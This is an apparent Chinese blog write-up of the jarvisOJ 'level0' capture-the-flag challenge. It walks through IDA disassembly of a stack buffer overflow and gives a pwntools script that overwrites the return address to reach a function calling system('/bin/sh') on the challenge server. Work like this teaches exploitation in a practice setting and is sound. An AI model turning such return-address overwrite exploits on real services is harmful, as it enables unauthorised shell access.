jarvisOJ-level0

本文详细解析了一个具体的ROP漏洞利用过程,通过分析jarvisOJ上的一道题目,讲解了如何使用IDA逆向工程工具找到漏洞点,构造payload,最终实现shell的获取。涉及ROP基础、IDA使用技巧及payload构造方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

jarvisOJ上的题目梯度似乎比pwnable.tw上的题目更合理点,pwnable.kr目前做的十几题都是考察各种基础,只有少数像pwn题。

level0是考最基础的ROP

先把下载的文件放进IDA里看看

.text:00000000004005C6 main            proc near               ; DATA XREF: _start+1D↑o
.text:00000000004005C6
.text:00000000004005C6 var_10          = qword ptr -10h
.text:00000000004005C6 var_4           = dword ptr -4
.text:00000000004005C6
.text:00000000004005C6 ; __unwind {
.text:00000000004005C6                 push    rbp
.text:00000000004005C7                 mov     rbp, rsp
.text:00000000004005CA                 sub     rsp, 10h
.text:00000000004005CE                 mov     [rbp+var_4], edi
.text:00000000004005D1                 mov     [rbp+var_10], rsi
.text:00000000004005D5                 mov     edx, 0Dh        ; n
.text:00000000004005DA                 mov     esi, offset aHelloWorld ; "Hello, World\n"
.text:00000000004005DF                 mov     edi, 1          ; fd
.text:00000000004005E4                 call    _write //执行write(1,"Hello, World\n",13)
.text:00000000004005E9                 mov     eax, 0
.text:00000000004005EE                 call    vulnerable_function
.text:00000000004005F3                 leave
.text:00000000004005F4                 retn
.text:00000000004005F4 ; } // starts at 4005C6
.text:00000000004005F4 main            endp

var_10和var_4不理解是干什么的,可能是main()函数里的参数。

然后就是write函数,从标准输出(fd=1)输出13个字节长度的字符串,即write(1,"Hello, World\n",13)

接着看main函数结束前执行的vulnerable_function函数

.text:00000000004005A6 vulnerable_function proc near           ; CODE XREF: main+28↓p
.text:00000000004005A6
.text:00000000004005A6 buf             = byte ptr -80h
.text:00000000004005A6
.text:00000000004005A6 ; __unwind {
.text:00000000004005A6                 push    rbp
.text:00000000004005A7                 mov     rbp, rsp
.text:00000000004005AA                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:00000000004005AE                 lea     rax, [rbp+buf]
.text:00000000004005B2                 mov     edx, 200h       ; nbytes
.text:00000000004005B7                 mov     rsi, rax        ; buf
.text:00000000004005BA                 mov     edi, 0          ; fd
.text:00000000004005BF                 call    _read
.text:00000000004005C4                 leave
.text:00000000004005C5                 retn
.text:00000000004005C5 ; } // starts at 4005A6
.text:00000000004005C5 vulnerable_function endp

看到buf地址为esp-80h(意思是距离栈顶有80h个字节),然而buf能写入的空间却是200h,所以可以直接溢出到栈顶esp之上,然后覆盖掉return里原本存放的地址

在IDA左边函数列表看到了callsystem函数,点开一看/bin/sh就在这里

.text:0000000000400596 callsystem      proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596                 push    rbp
.text:0000000000400597                 mov     rbp, rsp
.text:000000000040059A                 mov     edi, offset command ; "/bin/sh"
.text:000000000040059F                 call    _system
.text:00000000004005A4                 pop     rbp
.text:00000000004005A5                 retn
.text:00000000004005A5 ; } // starts at 400596

400596就是我们要的地址了

于是我们就可以构造payload了,'a' * 80h + esp的大小 + p64(0x0000000000400596)

#!/usr/bin/env python

# coding=utf-8

from pwn import *

socket=remote('pwn2.jarvisoj.com',9881)

playload='a'*0x80 + 'a'*8+p64(0x0000000000400596)
socket.send(playload)

socket.interactive() 

(做这题的时候把esp当成32位的寄存器了,以后要养成先用checksec先检查程序的习惯)

(还有就是把80h当成80了。。记录一下第一次错误的payload 'a'*84+p32(0x00400596))

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值